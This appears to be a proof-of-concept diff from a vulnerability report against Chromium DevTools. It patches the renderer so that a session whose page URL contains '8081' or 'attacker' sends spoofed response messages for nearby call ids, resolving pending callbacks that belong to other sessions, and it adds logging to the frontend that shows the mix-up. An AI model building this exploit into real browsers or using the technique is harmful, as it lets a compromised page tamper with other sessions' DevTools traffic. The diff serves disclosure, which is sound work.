diff --git a/third_party/blink/renderer/core/inspector/devtools_session.cc b/third_party/blink/renderer/core/inspector/devtools_session.cc index b8d52566b800b..4cd56e19307d6 100644 --- a/third_party/blink/renderer/core/inspector/devtools_session.cc +++ b/third_party/blink/renderer/core/inspector/devtools_session.cc @@ -15,6 +15,7 @@ #include "base/task/single_thread_task_runner.h" #include "base/trace_event/trace_event.h" #include "third_party/blink/renderer/bindings/core/v8/script_controller.h" +#include "third_party/blink/renderer/core/dom/document.h" #include "third_party/blink/renderer/core/frame/local_frame.h" #include "third_party/blink/renderer/core/inspector/devtools_agent.h" #include "third_party/blink/renderer/core/inspector/inspected_frames.h" @@ -271,6 +272,71 @@ void DevToolsSession::DispatchProtocolCommand( base::span message) { TRACE_EVENT("devtools", "DevToolsSession::DispatchProtocolCommand", perfetto::Flow::ProcessScoped(call_id), "call_id", call_id); + + // ======================================================================== + // POC INJECTION: Simulated compromised renderer. + // + // This block simulates what a compromised renderer (post V8-sandbox escape) + // would do: it abuses its legitimate DevToolsSessionHost remote to send + // "notification" bodies that are actually shaped like *responses* + // ({"id":N,"result":{...}}) for ids adjacent to the ones it has just + // observed. Because DevToolsCDPConnection in the DevTools frontend keys its + // pending-callback map by id alone (not by sessionId), these spoofed + // messages will resolve callbacks belonging to *other* sessions (the tab + // session, the cross-origin sibling frame session, etc.). + // + // The browser-side ValidateSessionId() check passes because we include our + // own legitimate session_id_ in the body. + // + // Gated to only fire from the renderer hosting attacker.html (port 8081) so + // the cross-session direction is unambiguous. + // ======================================================================== + if (!IsDetached() && host_remote_.is_bound() && !session_id_.empty()) { + bool is_attacker = false; + std::string url_for_log = ""; + if (agent_ && agent_->inspected_frames_) { + LocalFrame* root = agent_->inspected_frames_->Root(); + if (root && root->GetDocument()) { + url_for_log = root->GetDocument()->Url().GetString().Utf8(); + if (url_for_log.find("8081") != std::string::npos || + url_for_log.find("attacker") != std::string::npos) { + is_attacker = true; + } + } + } + LOG(ERROR) << "[POC-RENDERER-TRACE] DispatchProtocolCommand call_id=" + << call_id << " method=" << method.Utf8() + << " session=" << session_id_.Utf8() << " url=" << url_for_log + << " is_attacker=" << is_attacker; + if (is_attacker) { + std::string sid = session_id_.Utf8(); + LOG(ERROR) << "[POC-RENDERER] attacker session " << sid + << " observed call_id=" << call_id << " method=" + << method.Utf8() + << " -> spoofing ids " << (call_id - 3) << ".." + << (call_id + 40); + for (int spoof_id = call_id - 3; spoof_id <= call_id + 40; ++spoof_id) { + if (spoof_id == call_id) { + continue; // Don't spoof our own pending command's response. + } + // JSON body that passes browser-side ValidateSessionId (sessionId== + // our own) but carries an `id` field so the frontend's onMessage() + // treats it as a response and resolves callback #spoof_id regardless + // of which session that callback belongs to. + std::string body = + std::string("{\"id\":") + std::to_string(spoof_id) + + ",\"result\":{\"__SPOOFED_BY_ATTACKER_SESSION\":\"" + sid + + "\"},\"sessionId\":\"" + sid + "\"}"; + std::vector body_bytes(body.begin(), body.end()); + auto mojo_msg = mojom::blink::DevToolsMessage::New(); + mojo_msg->data = {body_bytes}; + host_remote_->DispatchProtocolNotification(std::move(mojo_msg), + nullptr); + } + } + } + // ======================== END POC INJECTION ============================= + return DispatchProtocolCommandImpl(call_id, method, message); } diff --git a/third_party/devtools-frontend/src/front_end/core/protocol_client/DevToolsCDPConnection.ts b/third_party/devtools-frontend/src/front_end/core/protocol_client/DevToolsCDPConnection.ts index 8b5aa5dd30..2d19dc8100 100644 --- a/third_party/devtools-frontend/src/front_end/core/protocol_client/DevToolsCDPConnection.ts +++ b/third_party/devtools-frontend/src/front_end/core/protocol_client/DevToolsCDPConnection.ts @@ -137,6 +137,26 @@ export class DevToolsCDPConnection implements CDPConnection { return; } + // ------------------------------------------------------------------ + // POC OBSERVATION-ONLY INSTRUMENTATION (does not change behaviour): + // Log when a response's sessionId does not match the sessionId that the + // pending callback was issued under. The fact that execution reaches + // callback.resolve() below in this case IS the vulnerability — this log + // line merely makes it externally observable. + // ------------------------------------------------------------------ + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const incomingSessionId = (messageObject as any).sessionId ?? ''; + const expectedSessionId = callback.sessionId ?? ''; + if (incomingSessionId !== expectedSessionId) { + // eslint-disable-next-line no-console + console.error( + '[POC-FRONTEND] CROSS-SESSION CDP RESPONSE SPOOF: ' + + 'callback id=' + messageObject.id + ' method=' + callback.method + + ' issued on session="' + expectedSessionId + '"' + + ' was resolved by message from session="' + incomingSessionId + '"' + + ' body=' + JSON.stringify(messageObject)); + } + callback.resolve(messageObject); --this.#pendingResponsesCount; this.#pendingLongPollingMessageIds.delete(messageObject.id);